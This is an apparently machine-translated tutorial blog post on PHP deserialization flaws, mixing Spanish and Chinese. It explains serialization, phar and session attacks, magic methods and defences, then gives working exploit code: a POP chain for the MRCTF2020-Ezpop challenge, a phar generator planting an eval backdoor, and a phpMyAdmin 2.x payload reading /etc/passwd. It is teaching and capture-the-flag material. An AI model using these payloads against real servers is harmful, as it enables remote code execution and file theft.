Auditoría de código PHP 12: vulnerabilidad de deserialización

1. Conceptos básicos de las vulnerabilidades de deserialización de PHP

1. Serialización y deserialización

La serialización y la deserialización son para resolver un problema de entrega de objetos PHP, porque el archivo PHP destruirá el objeto después de la ejecución, por lo que si hay una página que usa el objeto que acaba de ser destruido la próxima vez, será inútil, por lo que Hay una forma de guardar objetos durante mucho tiempo: la serialización de PHP, de modo que cuando queramos usarlo la próxima vez, solo necesitamos deserializarlo. El propósito de la serialización es facilitar la transmisión y el almacenamiento de datos, y .json es para facilitar la transferencia de datos.

1) Serialización

Concepto: Comprimir tipos de datos complejos en una cadena. Los tipos de datos pueden ser matrices, cadenas, objetos, etc.
La serialización de un objeto guardará todas las variables del objeto, pero no guardará el método del objeto, solo el nombre de la clase.

Utilice la función: serializar ()

Ejemplo:

//示例代码
class people{
    
    
    public $name = 'sam';  
    private $sex = 'man';  
    protected $age = '20';
}
$people1 = new people();
$object = serialize($people);
print_r($object);
//输出结果:
O:6:"people":3:{
    
    s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}
//结果解析
O表示序列化的一个类,如果此位置是A表示序列化的一个数组
6表示类名长度
people表示类名
3表示类中的属性个数
s:4:"name";s:3:"sam";表示第一个键值对的键名为name长度为4,键值为sam长度为3,都是string类型,后面类似,都是两两为一个键值对

2) Deserialización

Concepto: la deserialización consiste en convertir datos serializados en matrices o clases, que es la operación inversa de la serialización

Función de uso: deserializar()

Ejemplo:

//POST输入:  ‘O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}’
$obj=$_POST[ser];
$class=unserialize($obd);
var_dump($calss);
//输出结果:
{
    
     ["name"]=> string(3) "sam" ["sex":"people":private]=> string(3) "man" ["age":protected]=> string(2) "20" }
//结果说明:
对于序列化后的数据,private属性的对象会在前后加空格或者带上其所在的类名怎加一区分,对于protected属性需要加" * "来进行区分,而pubic属性的的对象则无需任何操作。

3) Vulnerabilidad de deserialización

Principio: cuando la cadena es controlable y no se filtra durante la deserialización, puede haber una vulnerabilidad de deserialización.

A través de los ejemplos de serialización y deserialización anteriores, podemos saber:

  • Al deserializar, si la cadena es controlable, podemos deserializarla en cualquier objeto de clase en el código, y las propiedades del objeto de clase son controlables.
  • Al mismo tiempo, si se llama al método de la clase (automáticamente/manualmente) utilizando el valor de su propio atributo de miembro, entonces podemos controlar el resultado de la ejecución de este método, por lo que existe la vulnerabilidad de deserialización.

2. Tipos de vulnerabilidades de deserialización

Las vulnerabilidades de deserialización comunes incluyen los siguientes tres tipos:

  • deserialización nativa

    即使用serialize()unserialize()导致的反序列化漏洞。
    
  • deserialización phar

    基本概念:phar反序列化即在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
    原理:
    phar文件的格式由四部分组成,分别是 stub、maniftaet、contents和signature四部分。
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在maniftaet部分。这部分还会以序列化的形式存储用户自定义的meta-data,这就是phar反序列化漏洞的核心所在。
    利用条件:
     1、phar文件能够上传到服务器端
     2、有可以利用的魔术方法作为跳板
     3、文件操作参数可控即"/""phar"等特殊字符没有被过滤
    常见的引起phar反序列化的函数:
    file_exists(),file(),unlink(),is_file(),file_get_contents(),is_dir(),copy(),readfile(),fopen()等等。
    
  • Deserialización de sesión

    PHP session反序列化漏洞,就是当【序列化存储Session数据】与【反序列化读取Session数据】的方式不同导致session反序列化漏洞的产生
    

3. Algunas funciones mágicas comunes

El método de llamada automática mencionado anteriormente se llama método mágico en PHP, no solo en PHP, sino también en otros lenguajes.Por ejemplo, hay constructores y destructores en C++, que corresponden a la suma de __constructPHP __destruct. Además de los métodos mágicos escritos aquí, PHP tiene otros métodos mágicos que serán llamados automáticamente en ciertas situaciones. Si hay un método mágico que se puede llamar automáticamente en la clase correspondiente cuando estamos deserializando, entonces podemos construir los datos serializados para que puedan ejecutar el código automáticamente. Para PHP, los métodos mágicos comunes son los siguientes:

  • Constructor: __construct(): Llamado automáticamente cuando se instancia el objeto, es decir, cuando se serializa.
  • Destructor: __destruct(): Llamado automáticamente antes de que el objeto sea destruido.
  • __set(clave,valor): Llamado automáticamente al asignar un valor a una propiedad privada de una clase.
  • __get($key): Se llama automáticamente al obtener las propiedades privadas de la clase.
  • __isset($key): se llama automáticamente cuando la función isset() se usa externamente para detectar las propiedades privadas de esta clase.
  • __unset($key): se llama automáticamente cuando la función unset() se usa externamente para eliminar los atributos privados de esta clase.
  • __clone: ​​se invoca automáticamente cuando se usa la palabra clave clon para clonar un objeto.
  • __tostring(): se invoca automáticamente cuando se usan instrucciones de salida como echo para imprimir objetos directamente. Por ejemplo, echo $searialized en el código anterior en realidad llamará a este método mágico.
  • __sleep(): se llama automáticamente cuando el objeto se instancia en una cadena (en el ejemplo anterior)
  • __wakeup (): al deserializar una cadena en un objeto, la llamada automática se llamará primero.

4. Explotación y defensa de vulnerabilidades

1) Explotación de vulnerabilidades

En comparación con la vulnerabilidad de deserialización, para explotarla, es necesario construir una cadena de explotación POP. Este es un problema relativamente complicado y agotador, porque necesitamos comprender profundamente la lógica de llamada del código serializado y luego revertir el razonamiento. construcción Finalmente intente ejecutar un comando o código del sistema. Las ideas de utilización específicas requieren que practiquemos más y escribamos más preguntas, y luego podemos construir una buena cadena de utilización en la situación real de utilización. Para conocer el método de uso, puede consultar el enlace de referencia al final del artículo.

2) Defensa de vulnerabilidad

Para la defensa contra las vulnerabilidades de serialización en PHP, consideramos principalmente los siguientes métodos:

  • Firma y Autenticación
如果序列化的内容没有用户可控参数,仅仅是服务端存储和应用,则可以通过签名认证,来避免应用接受黑客的异常输入。   
  • Clases que restringen la serialización y deserialización
 增加一层序列化和反序列化接口类。这就相当于允许提供了一个白名单的过滤:只允许某些类可以被反序列化。只要你在反序列化的过程中,避免接受处理任何类型(包括类成员中的接口、泛型等),黑客其实很难控制应用反序列化过程中所使用的类,也就没有办法构造出调用链,自然也就很难利用反序列化漏洞了
  • Detección de escofina
(Runtime Application Self-Protection,实时程序自我保护)。RASP 通过 hook 等方式,在这些关键函数(例如:序列化,反序列化)的调用中,增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截.

2. Análisis y utilización de MRCTF2020-Ezpop

Primero mira el código fuente:

Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
    
    
    protected  $var;
    public function append($value){
    
    
        include($value);//这里的include函数,可以让我们来进行php伪协议,这里是第一个突破口。
    }
    public function __invoke(){
    
    //以调用函数的方式调用一个对象时触发此方法
        $this->append($this->var);
    }
}
class Show{
    
    
    public $source;
    public $str;
    public function __construct($file='index.php'){
    
    
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
    
    //在一个对象被当作一个字符串使用时调用,当echo一个对象时会自动触发这个方法。
        return $this->str->source;
    }
    public function __wakeup(){
    
    
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    
    //使用了黑名单过滤了一下http协议的东西,但是不影响咱们的php伪协议。
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    
    
    public $p;
    public function __construct(){
    
    
        $this->p = array();
    }
    public function __get($key){
    
    
        $function = $this->p;//get方法用来返回$function,然后$function的值是$this->p,这里将Modifier成为了函数
        return $function();
    }
}
if(isset($_GET['pop'])){
    
    //get方法传参pop,然后反序列化
    @unserialize($_GET['pop']);
}else{
    
    
    $a=new Show;
    highlight_file(__FILE__);
}

Entonces podemos saber que la vulnerabilidad está ahí include($value);, y podemos construirla $value=php:// =php://filter/read=convert.base64-encode/resource=flag.php para leer el archivo de bandera.

Luego, cuando pasemos un parámetro POP, se deserializará automáticamente y necesitará llamar _wakeup()primero al método mágico de la clase Show. Este método es simple de filtrar, pero no afecta nuestro uso del pseudo-protocolo php.

Si __toString()str se asigna como una clase de Prueba instanciada, entonces su clase no contiene el atributo fuente, por lo que _get()se llamará al método en Prueba.

Si _get()p in se asigna a la clase Modifier, es equivalente a que la clase Modifier se trate como una función, por lo que _invoke()se llamará al método de la clase Modifier.

Usando la inclusión de archivos, puede _invoke()leer el contenido de flag.php.

Entonces, la cadena POP completa es:

Modifier::__invoke()<--Test::__get()<--Show::__toString()

Construir exp:

<?php
class Modifier {
    
    
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';  
}
class Show{
    
    
  public $source;
  public $str;
  public function __construct($file){
    
    
    $this->source = $file;
  }
  public function __toString(){
    
    
    return " ";//触发get()
  }
}
class Test{
    
    
  public $p;
}
$a= new Show('a');
$a->str = new Test(); //触发toString()
$a->str->p=new Modifier();//触发invoke()
$b=new Show($a);
echo serialize($b);
?>

Obtener datos serializados:

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:1:"a";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

Luego páselo a través de POP para obtener el indicador codificado en base64:

inserte la descripción de la imagen aquí

La situación decodificada:

inserte la descripción de la imagen aquí

3. Análisis de ejemplo de deserialización de Phar

Este es un ejemplo relativamente simple, el código fuente es el siguiente:

<?php 
if(isset($_GET['filename'])){
    
    
    $filename = $_GET['filename'];
    class MyClass{
    
    
        var $Output = 'echo "hahaha"';
        function __destruct(){
    
    
            // TODO: Implement __destruct() method.
            eval($this->Output);
        }
    }
    file_exists($filename);
}else{
    
    
    highlight_file(__FILE__);
}

Como puede ver, usamos file_exists($filename) para determinar si existe el nombre del archivo entrante y definir una clase Mycalss, que tiene la función mágica __destruct() disponible. Por lo tanto, conduce a la existencia de una vulnerabilidad de deserialización de Phar.

Por lo tanto, es necesario construir un archivo Phar para utilizarlo aquí. La idea de construcción es la siguiente:

定义一个Mycalss类,设置$Output为$_GET['cmd'],然后实例化这个类,写入phar文件的maniftaet 部分,然后上传文件,并访问?myClass.php?filename=poc.phar&cmd=phpinfo()

El código para generar el archivo phar es el siguiente:

<?php
class MyClass{
    
    
    var $output = '@eval($_GET[cmd]);';
}
$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

Archivo phar generado:

inserte la descripción de la imagen aquí

Después de cargar en el servidor, visite filename=phar://poc.phar&cmd=phpinfo();

inserte la descripción de la imagen aquí

4. Recurrencia y análisis de la vulnerabilidad de deserialización de PHPmyadmin 2.x

Primero echemos un vistazo a la carga útil:

POST /scripts/setup.php
.....
action=test&configuration=O:10:"PMA_Config":1:{
    
    s:6:"source",s:11:"/etc/passwd";}

Se puede ver en el Payload que la clase que generamos la vulnerabilidad es la clase PMA_Config, y el parámetro de vulnerabilidad es fuente.

Vayamos a este archivo y veamos:

if (isset($_POST['action'])) {
    
    
    $action = $_POST['action'];
} else {
    
    
    $action = '';
}
if (isset($_POST['configuration']) && $action != 'clear' ) {
    
    
    // Grab previous configuration, if it should not be cleared
    $configuration = unserialize($_POST['configuration']);
} else {
    
    
    // Start with empty configuration
    $configuration = array();
}

Se puede ver que la función unserialize() se usa para la deserialización en la configuración entrante, por lo que necesitamos encontrar la función mágica que se puede usar, buscar en la clase del archivo incluido y encontrar eso al principio del archivo. , un objeto de instanciación de clase PMA_Config( ), encontramos esta clase para ver:

//file: libraries/Config.class.php
class PMA_Config
{
    
    
    var $default_source = './libraries/config.default.php';
    var $settings = array();
    var $source = '';
    var $source_mtime = 0;
    var $error_config_file = false;
    var $error_config_default_file = false;
    var $error_pma_uri = false;
    var $default_server = array();
    var $done = false;
    function __construct($source = null){
    
    
        $this->settings = array();
        $this->load($source);
        $this->checkSystem();
        $this->checkIsHttps();
    }
    function checkSystem(){
    
    
   		......
   	}
  ......
	function __wakeup() {
    
    
        if ( $this->source_mtime !== filemtime($this->getSource())
          || $this->error_config_file || $this->error_config_default_file ) {
    
    
            $this->settings = array();
            $this->load($this->getSource());
            $this->checkSystem();
        }
        $this->checkIsHttps();
        $this->checkCollationConnection();
    }

Se puede ver que en esta clase se define la función mágica __constructy __wakeup(), cuando se realice la deserialización, se llamará __wakeup() y luego se llamará a las funciones getSource() y load(). Veamos primero la función getSource:

function getSource() {
        return $this->source;
    }

Como puede ver, es devolver el valor de la fuente en la clase y luego usar la función de carga para llamar:

function load($source = null)
    {
    
    
        $this->loadDefaults();  //调用类中的loadDefault方法判断default_source文件是否存在
        if ( null !== $source ) {
    
    //如果source不为空,则调用setSource方法使用trim对source首尾去空。
            $this->setSource($source); 
        }
        if ( ! $this->checkConfigSource() ) {
    
    
            return false;
        }
        $cfg = array();
        $old_error_reporting = error_reporting(0);
        if ( function_exists('file_get_contents') ) {
    
    
            $eval_result =
                eval( '?>' . file_get_contents($this->getSource()) ); //调用getSource函数,然后对返回值使用file_get_contents打开,最终使用eval执行。
        } else {
    
    
            $eval_result =
                eval( '?>' . implode('\n', file($this->getSource())) );
        }
        error_reporting($old_error_reporting);
        if ( $eval_result === false ) {
    
    
            $this->error_config_file = true;
        } else  {
    
    
            $this->error_config_file = false;
            $this->source_mtime = filemtime($this->getSource());
        }
        if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
    
    
            $this->set('collation_connection',
                strip_tags($_COOKIE['pma_collation_connection']) );
        } else {
    
    
            $this->set('collation_connection',
                $this->get('DefaultConnectionCollation') );
        }
        $this->checkCollationConnection();
        $this->settings = PMA_array_merge_recursive($this->settings, $cfg);
        return true;
    }

Dado que nuestros datos serializados son controlables, podemos modificar el contenido de la fuente de definición y luego llamar a la función al deserializar __wakeup() , para usar la función file_get_content() para obtener el contenido del archivo.

Reproducir el resultado:

inserte la descripción de la imagen aquí

5. Enlace de referencia

Supongo que te gusta

Origin blog.csdn.net/qq_45590334/article/details/126247033
Recomendado
Clasificación